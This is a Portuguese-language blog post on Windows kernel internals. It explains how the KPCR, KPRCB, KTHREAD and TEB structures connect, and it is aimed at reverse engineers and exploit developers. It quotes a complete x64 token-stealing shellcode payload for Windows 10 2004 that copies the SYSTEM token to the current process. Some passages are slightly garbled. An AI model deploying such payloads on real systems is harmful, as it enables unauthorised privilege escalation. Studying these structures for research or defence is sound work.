Hermits of the Kernel Caves: Unraveling KPCR in Windows
Blog | Everdoh | 04-21-25
Hermits of the Kernel Caves: Unraveling KPCR in Windows
“All knowledge is connected to all other knowledge. The fun is in making the connections.” – Arthur C. Aufderheide
Introdução
Dentro do kernel do Windows, encontramos duas estruturas intrigantes KPCR e TEB. Esta é uma história contada de trás para frente, assim como ocorre na prática — onde o sintoma leva ao diagnóstico, e não o contrário.
Para quem constrói exploits no kernel do Windows, sabe da importância de um payload que consiga escalar privilégio de maneira eficiente e correta. E para cada nova versão dos sistemas operacionais, novos offsets e estruturas podem surgir, e com isso possivelmente o payload deixará de ser funcional.
Copiando o payload escrito aqui - https://keramas.github.io/2020/06/21/Windows-10-2004-EPROCESS-Structure.html. Observe quantas estruturas e endereços são acessados.
; Windows 10 x64 2004 Token Stealing Payload
[BITS 64]
__start:
xor rax, rax
mov rax, [gs:0x188] ; Current thread -> _KTHREAD
mov rax, [rax + 0xb8] ; Current process -> _EPROCESS
mov r8, rax ; Move current process' _EPROCESS to r8
__loop:
mov rax, [rax + 0x448] ; ActiveProcessLinks
sub rax, 0x448 ; Return to current process -> _EPROCESS
mov rcx, [rax + 0x440] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM process PID (0x4)
jnz __loop ; Iterate over EPROCESS nodes until SYSTEM PID is located
mov r9, [rax + 0x4b8] ; _EPROCESS + 0x4b8 -> token
mov [r8 + 0x4b8], r9 ; Copy SYSTEM token to current process
É preciso compreender quais os caminhos a serem seguidos e as estruturas primitivas do Kernel. Pois caso o payload deixe de funcionar, não vamos esperar que alguem publique na internet algo novo, devemos nós mesmos criar nosso payload. Mas o propósito desse texto não é sobre payloads para exploits e sim sobre, conhecer as estruturas do Kernel do Windows.
Portanto, ao invés de esperar por artigos ou dumps no GitHub, devemos conhecer as primitivas do Kernel a fundo.
KPCR – Kernel Processor Control Region
A KPCR é uma das primeiras estruturas acessadas pelo kernel. Ela contém dados importantes sobre o processador. O KPCR contém ponteiros para listas de threads, clocks, e o componente KPRCB (Kernel Processor Control Block), usado internamente pelo ntoskrnl.exe.
Não, a KPCR não inclui diretamente o número de cores. Ela traz informações contextuais do processador lógico atual, úteis para o gerenciamento de threads, interrupções e execução em nível de kernel.
Não confundir KPRCB E KPCR. KPRCB é uma estrutura contida em KPCR.
- Em sistemas 32-bit, via ‘fs’.
- Em sistemas 64-bit, via ‘gs’.
Essa estrutura também fornece acesso indireto à thread atual, por meio de ponteiros que levam até a KTHREAD, e dele para a TEB.
Uma instrução comum de ser avistada em assembly é a seguinte:
push dword ptr gs:0
Isso aponta para o início da TEB (mais precisamente, da NT_TIB). E o seletor gs em modo usuário é carregado com o valor 0x003B (ring 3), que aponta para a entrada 0x0038 da GDT, conhecida como KGDT_R3_TEB.
No x64:
fsaponta para a TEB 32-bit em ambientes WoW64 (selector0x0053)gsaponta para a TEB 64-bit através do MSR_GS_SWAP (0xC0000102)
Ilustração do Caminho
KPCR (fs/gs)
└── KPRCB
└── KTHREAD
└── Teb → TEB (user-mode)
└── NT_TIB
Anexo – Estruturas de Referência
// NT_TIB (simplificado)
typedef struct _NT_TIB {
PVOID ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
PVOID FiberData;
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
// TEB (incompleto)
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
// ...
} TEB;
TEB – A Mente da Thread
A Thread Environment Block é a representação em modo usuário de uma thread. Cada thread que entra em user-mode possui sua própria TEB. Ela contém:
- Stack base e limite
- TLS (Thread Local Storage)
- Ponteiro para exceções
- Identificadores de processo e thread
- Ponteiro para si mesma em
NtTib.Self
#ifdef _WIN64 PTEB teb = (PTEB)__readgsqword(0x30); #else PTEB teb = (PTEB)__readfsdword(0x18); #endif
Ou via Windbg:
!teb
TEB at 0x249000
A TEB começa com a estrutura NT_TIB, que inclui informações sobre tratamento de exceções e pilhas.
Cada Thread, Sua TEB
Cada nova thread criada por um processo recebe sua própria TEB. Isso assegura isolamento de contexto, gerenciamento de exceções, e acesso exclusivo ao TLS. No modo kernel, cada KTHREAD possui um campo ‘Teb’ com o ponteiro para a TEB respectiva.
PVOID PsGetThreadTeb(PETHREAD Thread);
Descobrindo a TEB de Trás pra Frente
Conclusão
A jornada pelo kernel do Windows é tola e gratificante. Entender as ligações entre KPCR, KPRCB, KTHREAD e TEB é fundamental para quem trabalha com engenharia reversa, desenvolvimento de exploits ou análise de malwares. O conhecimento dessas estruturas é o que permite adaptar ferramentas e seguir explorando as cavernas do kernel — de trás pra frente, como a vida real exige.